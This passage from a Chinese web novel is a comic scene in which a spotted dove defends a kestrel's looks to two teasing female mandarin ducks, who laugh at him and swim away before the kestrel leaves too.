“跟着他,顿顿不饿、次次不死、啥啥都知。 “这样能文能武、才貌双全的隼,你竟然敢说他丑?你到底有没有审美啊???” 安澄用力地扑扇着翅膀对着那雌鸳鸯大喊,绒羽掉了好几片也没有在意,“你看着他再说一遍!!!” “还是丑。”雌性鸳鸯面色淡然,又慢悠悠地将视线转移到安澄的身上。“还没有你好看。” “什么?你……”安澄怒目圆视,下意识地想要反驳,可说了没几个字突然品味到对方的后半句话,语气蓦地就柔和了下来。“但是话又说回来了,审美这种东西还是很客观的,我们不能拿一个标准去要求所有的鸟。 “你还能觉得我好看,那就说明你的审美系统是没有问题的。” 嘿嘿。 两只雌性鸳鸯都噗嗤一下笑出了声,身下的爪子滑动着,拍出一些水花。 “小弟弟,你可真可爱,哈哈哈——” 安澄:??? 两雌性互相对视一眼,又哈哈大笑起来,笑着笑着也什么都不说,慢慢地游动起来。 于是不明所以的安澄便看着那两只仰天大笑的鸳鸯越游越远、越游越远,直至身影消失在他的眼前,只留下放肆的笑声还在水塘回荡。 有些没反应过来的他,呆呆地把视线移到朱云深身上。 那隼被雌鸳鸯贬低式地评价一番也没有展现出恼怒,而是反问:“现在还想要鸳鸯做伴侣吗?” “咕?”安澄还没回神。 红隼像是很受不了般轻叹一口,伸出翅膀拍了拍安澄的脑袋,而后什么话都没说也转身离开了。 只剩珠颈斑鸠一鸟还在原地发呆。